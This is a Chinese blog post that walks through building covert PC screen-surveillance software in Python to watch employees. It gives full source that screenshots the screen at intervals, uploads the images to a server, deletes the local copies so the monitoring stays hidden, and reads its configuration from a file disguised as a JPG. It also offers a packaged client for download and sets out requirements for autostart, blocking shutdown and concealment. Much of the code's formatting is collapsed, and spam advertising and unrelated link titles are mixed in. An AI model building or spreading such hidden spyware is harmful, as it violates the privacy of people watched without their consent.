有个朋友做电商的,发现他的员工上班喜欢摸鱼(说的不就是我吗),让给我给他做一个可以监控他员工上班干嘛的软件(讨厌的资本家),当时我就直接拒绝他了,并告诉他一堆道理,说员工也是人,没必要这样搞。。。。。。 后来我朋友说有偿的!

一、需求

1、实时监控PC屏幕。

2、可以通过服务端查看,包括查看历史电脑事件和查看当前电脑屏幕内容。

3、该应用为企业应用,所以后台需要可精确查询到每台电脑的过滤功能,由于涉及到隐私,需要支持本地部署。

4、开机就启动,并对PC电脑进行实时监控,软件不能关闭,不能导致电脑卡顿,不能让被监控人知道。

二、实现思路

1、新建python文件 moniter.py 配置文件sys.ini。

2、采用pyautogui库获取系统资源(当前屏幕截图),并保存本地,高清截屏图片太大,所以做了压缩。

关键API为:pyautogui.screenshot()

代码:

def screenshot(path):img=pyautogui.screenshot()img.save(path, quality=40)

3、写个while循环+sleep 定时截图屏幕。

while True:try:screenshot(pathabs) ##截屏except:traceback.print_exc(file=open('error.txt','a+'))  ##异常处理time.sleep(10)  ##10秒候取一次屏幕信心

4、将本地文件上传服务器,并删除本地问题。

 files = {'file': open(pathabs, 'rb')}r = requests.get(service, files=files, data={}) ##上传到服务器a = files["file"]a.close()os.remove(pathabs)   ##删除本地图片(被发现就完犊子了)

5、搭建后台系统

商城+公众号+小程序+app+前后台代码开源,一键启动: 蜜熊电商, [ 微信 + 支付宝 + 百度 + 头条 ] 小程序 + APP + 公众号 + PC + H5,企业官网[支持移动端和PC端],注重界面美感与用户体验,解决线上开店,企业宣传和私域营销的问题。 【企业网站 商城 微信支付 积分支付 电商源码 小程序直播 跨境电商系统 支持国际化】

万能后台,有手把手免费教程

省钱提示:

该博客为交流性博客,爱好者可保存到本地,自己开发后台处理请求。

6、处理打包成EXE,软件开机启动,软件禁止关闭等问题。

三、开发-调试-测试-运行:

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。(熬夜掉头发)

四、上效果:

1、软件长相:

2、 后台效果图(发现了小朋友在打游戏):

五,分享成果,完整代码:

import datetime
import json
import os
import time# import cv2
import tracebackimport pyautogui
import numpy as np
import requests
from PIL import Imagedef screenshot(path):img=pyautogui.screenshot()img.save(path, quality=40)def half(path):im2 = Image.open(path)(x, y) = im2.sizeout = im2.resize((int(x / 2),int(y / 2)), Image.ANTIALIAS)out.save(path)def getParam():file_handleC = open(r"system.jpg", "r", encoding="utf-8")lines = file_handleC.readlines()path={}for line in lines:path = linepath=json.loads(path)return path
o=getParam()
path=o["path"]
frequency=o["frequency"]
save=o["save"]
service=o["service"]
while True:t = datetime.datetime.now().strftime('%H%M%S')day=datetime.datetime.now().strftime('%Y%m%d')pathabs =path+dayif (os.path.exists(pathabs) == False):os.makedirs(pathabs)pathabs = pathabs+"/"+str(t) + ".jpg"try:screenshot(pathabs)half(pathabs)##文件保存if save == "service" or save == "all":files = {'file': open(pathabs, 'rb')}r = requests.get(service, files=files, data={})a = files["file"]a.close()if save == "service":os.remove(pathabs)except:print(datetime.datetime.now().strftime('%Y%m%d%H%M%S'))print("发生异常")traceback.print_exc(file=open('error.txt','a+'))time.sleep(frequency)

成品安装包请自行下载(客户端):https://download.csdn.net/download/m0_60921402/85334945

python开发一个PC屏幕监控软件(2000块的道德底线)相关推荐

  1. 用AutoHotkey写电脑屏幕监控软件

    今看到一个外包项目, 要求用VB写一个电脑屏幕监控软件, 具体要求如下: 电脑屏幕监控软件功能实现: 1.电脑非空闲(根据鼠标键盘动作判断?)时,每五秒(通过配置文件设置)截屏并按时间命名(如2010 ...

  2. python开发的著名软件公司_软件开发公司_软件外包_项目外包平台基于Python开发一个全文检索系统...

    基于Python开发一个全文检索系统.功能要求为: 使用全文检索引擎对文本进行检索.文本的格式为Word.PDF.TXT. 同时按数据域进行复合条件检索.数据域指文本对应的信息,例如创建人.文件编号. ...

  3. [python] 开发一个跟随角色移动的地图游戏demo

    用python开发一个2D角色游戏的地图Demo 如今很多大学生大学学习了编程语言,想做游戏却迟迟做不出一个游戏雏形来,接下来就和大家谈论下游戏中地图移动的简单原理并用python这一门非常火的语言进 ...

  4. 局域网屏幕监控软件_常用电脑屏幕监控软件如何做

    常用电脑屏幕监控软件如何做 许多设备也提供了专门软件来支持部分网站设备的优化改造.近年来,随着市场消费的日益激烈,局域网监控软件的适应性越来越强,应用水平也日益提高.在大量数据的汇集.利用.归纳.分析 ...

  5. 屏幕监控软件怎样监控电脑的扩展屏?

    很多公司由于工作性质的原因,员工电脑会配置扩展屏,一台电脑可能有两个屏幕,或者个更多.当需要对员工电脑进行监控时,很多电脑监控软件只能监控到一个屏幕,其他的屏幕无法显示,或者是黑屏的:或者是由于屏幕排 ...

  6. 那种屏幕监控软件适合管理你现在的企业?

    员工电脑屏幕监控不仅仅能够控制员工的上网行为,防止公司的计算机重要资料泄密.最关键的是,还可以规范员工的工作管理制度,能够在 一定程度上制约员工,目前很多公司员工和企业的管理者打起了游击战,当企业管理 ...

  7. Python制作一个简单的抽奖软件(二)

    Python制作一个简单的抽奖软件(二) 认识QT 因为都对 QT和tkinter都没用过,之前简单使用tkinter后发现,界面调整不太好弄.然后度娘了之后,QT是强大GUI库之一,很多人都推荐它. ...

  8. 从0到1使用python开发一个半自动答题小程序

    从0到1使用python开发一个半自动答题小程序 前言 最近每天都有玩微信读书上面的每日一答的答题游戏,完全答对12题后,可以瓜分无限阅读卡.但是从小就不太爱看书的我,很难连续答对12道题,由此,产生 ...

  9. python实现简单小游戏_用python开发一个有趣的猜数字小游戏(实现简单的GUI界面学习)...

    文章目录 用python开发一个有趣的猜数字小游戏 用于字符串的格式化,通过 {} 和 : 来代替以前的 % 1. python的GUI编程 1.1 pythonGUI常用库对比 Python 提供了 ...

  10. 用python实现todolist_So easy !用 Python 开发一个todolist

    原标题:So easy !用 Python 开发一个todolist 有一句话是这样说的:"凡事预则立,不预则废",说的是我们在做事之前,最好制定好你的计划,然后有序的去执行,这样 ...

最新文章

  1. 我的世界:一个村落(其一)
  2. 蓝桥杯节点选择(java)第一道树形dp分析
  3. C++longest common subsequence最长公共子序列的实现(附完整源码)
  4. Print() 语句以及数字赋值语句 中if-else的使用
  5. xsslabs靶机解题_web 攻击靶机解题过程
  6. tomcat顶层架构
  7. Sentinel流控规则_线程数失败_分布式系统集群限流_线程数隔离_削峰填谷_流量控制_速率控制_服务熔断_服务降级---微服务升级_SpringCloud Alibaba工作笔记0034
  8. sh 脚本 访问 路径 权限不够_IC设计之脚本语言介绍
  9. SHELL编写NGINX自动部署脚本
  10. 终端 ssh 上传文件_记一次将文件添加到github
  11. CentOS7安装dnf
  12. 杭电计算机接口实验报告,杭电新闻
  13. LabVIEW安装多个NI软件产品时的安装顺序
  14. 写一份竞品分析文档的思路(模板)
  15. STM32的端口复用功能RCC_APB2Periph_AFIO
  16. IT软件行业用契约锁实现“代理-销售-投标-项目-合作”电子签
  17. 仿ipad页面html5,用HTML5实现iPad应用无限平滑滚动
  18. 提升工作效率的常用mac命令行
  19. JUC之Callable接口
  20. 扫雷c语言课程设计报告,扫雷游戏实验报告.docx

热门文章

  1. linux下find搜索jpg格式图片,Linux文件查找命令-find
  2. 中国油用牡丹行业需求状况及产销规模预测报告(新版)2022-2027年
  3. html5好看的注册页面设计,美观大气注册登录页面模板html源码
  4. **MA2灯光控台的TIMECODE 说明**
  5. 计算机软件编程应聘ppt,[计算机软件及应用]单片机c编程.ppt
  6. 【JavaWEB】Redis基础
  7. ArcGIS——计算几何——面积/周长禁用
  8. 关于NI美国国家仪器音频分析器使用技巧(4461音频分析仪)
  9. 用BoundsChecker检测内存泄漏
  10. android实现弹框动画,android对话框弹出方式动画